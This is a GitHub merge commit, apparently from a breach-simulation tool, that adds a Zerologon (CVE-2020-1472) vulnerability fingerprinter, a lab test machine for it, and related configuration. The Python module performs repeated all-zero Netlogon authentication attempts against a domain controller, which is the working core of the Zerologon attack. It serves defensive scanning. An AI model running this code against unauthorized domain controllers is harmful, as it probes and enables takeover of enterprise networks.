Merge pull request #868 from shreyamalviya/zerologon-fp

Zerologon Fingerprinter
This commit is contained in:
Shreya Malviya 2020-11-05 23:52:09 +05:30 committed by GitHub
commit b406495ca2
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
7 changed files with 163 additions and 2 deletions

View File

@ -1098,6 +1098,26 @@ fullTest.conf is a good config to start, because it covers all machines.
</tbody>
</table>
<table>
<thead>
<tr class="header">
<th><p>Nr. <strong>25</strong> ZeroLogon</p>
<p>(10.2.2.25)</p></th>
<th>(Vulnerable)</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>OS:</td>
<td><strong>Server 2016</strong></td>
</tr>
<tr class="even">
<td>Default servers port:</td>
<td>135</td>
</tr>
</tbody>
</table>
<table>
<thead>
<tr class="header">

View File

@ -85,6 +85,10 @@ data "google_compute_image" "struts2-24" {
name = "struts2-24"
project = local.monkeyzoo_project
}
data "google_compute_image" "zerologon-25" {
name = "zerologon-25"
project = local.monkeyzoo_project
}
data "google_compute_image" "island-linux-250" {
name = "island-linux-250"
project = local.monkeyzoo_project

View File

@ -432,6 +432,21 @@ resource "google_compute_instance_from_template" "struts2-24" {
}
}
resource "google_compute_instance_from_template" "zerologon-25" {
name = "${local.resource_prefix}zerologon-25"
source_instance_template = local.default_windows
boot_disk{
initialize_params {
image = data.google_compute_image.zerologon-25.self_link
}
auto_delete = true
}
network_interface {
subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.25"
}
}
resource "google_compute_instance_from_template" "island-linux-250" {
name = "${local.resource_prefix}island-linux-250"
machine_type = "n1-standard-2"

View File

@ -0,0 +1,112 @@
"""
Implementation from https://github.com/SecuraBV/CVE-2020-1472
"""
import logging
import subprocess
import nmb.NetBIOS
from impacket.dcerpc.v5 import epm, nrpc, transport
import infection_monkey.config
from infection_monkey.network.HostFinger import HostFinger
from infection_monkey.utils.environment import is_windows_os
LOG = logging.getLogger(__name__)
class WindowsServerFinger(HostFinger):
# Class related consts
MAX_ATTEMPTS = 2000
_SCANNED_SERVICE = "NTLM (NT LAN Manager)"
def get_host_fingerprint(self, host):
"""
Checks if the Windows Server is vulnerable to Zerologon.
"""
DC_IP = host.ip_addr
DC_NAME = self.get_dc_name(DC_IP)
if DC_NAME: # if it is a Windows DC
# Keep authenticating until successful.
# Expected average number of attempts needed: 256.
# Approximate time taken by 2000 attempts: 40 seconds.
DC_HANDLE = '\\\\' + DC_NAME
LOG.info('Performing Zerologon authentication attempts...')
rpc_con = None
for _ in range(0, self.MAX_ATTEMPTS):
try:
rpc_con = self.try_zero_authenticate(DC_HANDLE, DC_IP, DC_NAME)
if rpc_con is not None:
break
except Exception as ex:
LOG.info(ex)
break
self.init_service(host.services, self._SCANNED_SERVICE, '')
if rpc_con:
LOG.info('Success: Domain Controller can be fully compromised by a Zerologon attack.')
host.services[self._SCANNED_SERVICE]['is_vulnerable'] = True
return True
else:
LOG.info('Failure: Target is either patched or an unexpected error was encountered.')
host.services[self._SCANNED_SERVICE]['is_vulnerable'] = False
return False
else:
LOG.info('Error encountered; most likely not a Windows Domain Controller.')
return False
def get_dc_name(self, DC_IP):
"""
Gets NetBIOS name of the Domain Controller (DC).
"""
try:
nb = nmb.NetBIOS.NetBIOS()
name = nb.queryIPForName(ip=DC_IP) # returns either a list of NetBIOS names or None
return name[0] if name else None
except BaseException as ex:
LOG.info(f'Exception: {ex}')
def try_zero_authenticate(self, DC_HANDLE, DC_IP, DC_NAME):
# Connect to the DC's Netlogon service.
binding = epm.hept_map(DC_IP, nrpc.MSRPC_UUID_NRPC,
protocol='ncacn_ip_tcp')
rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
rpc_con.connect()
rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
# Use an all-zero challenge and credential.
plaintext = b'\x00' * 8
ciphertext = b'\x00' * 8
# Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled.
flags = 0x212fffff
# Send challenge and authentication request.
nrpc.hNetrServerReqChallenge(
rpc_con, DC_HANDLE + '\x00', DC_NAME + '\x00', plaintext)
try:
server_auth = nrpc.hNetrServerAuthenticate3(
rpc_con, DC_HANDLE + '\x00', DC_NAME +
'$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
DC_NAME + '\x00', ciphertext, flags
)
# It worked!
assert server_auth['ErrorCode'] == 0
return rpc_con
except nrpc.DCERPCSessionError as ex:
if ex.get_error_code() == 0xc0000022: # STATUS_ACCESS_DENIED error; if not this, probably some other issue.
pass
else:
raise Exception(f'Unexpected error code: {ex.get_error_code()}.')
except BaseException as ex:
raise Exception(f'Unexpected error: {ex}.')

View File

@ -12,5 +12,6 @@ pycryptodome==3.9.8
pyftpdlib==1.5.6
pymssql<3.0
pypykatz==0.3.12
pysmb==1.2.5
requests>=2.24
wmi==1.5.1 ; sys_platform == 'win32'

View File

@ -56,7 +56,6 @@ FINGER_CLASSES = {
"info": "Checks if Microsoft SQL service is running and tries to gather information about it.",
"attack_techniques": ["T1210"]
},
{
"type": "string",
"enum": [
@ -65,6 +64,15 @@ FINGER_CLASSES = {
"title": "ElasticFinger",
"info": "Checks if ElasticSearch is running and attempts to find it's version.",
"attack_techniques": ["T1210"]
},
{
"type": "string",
"enum": [
"WindowsServerFinger"
],
"title": "WindowsServerFinger",
"info": "Checks if server is a Windows Server and tests if it is vulnerable to Zerologon.",
"attack_techniques": ["T1210"]
}
]
}

View File

@ -222,7 +222,8 @@ INTERNAL = {
"HTTPFinger",
"MySQLFinger",
"MSSQLFinger",
"ElasticFinger"
"ElasticFinger",
"WindowsServerFinger"
]
}
}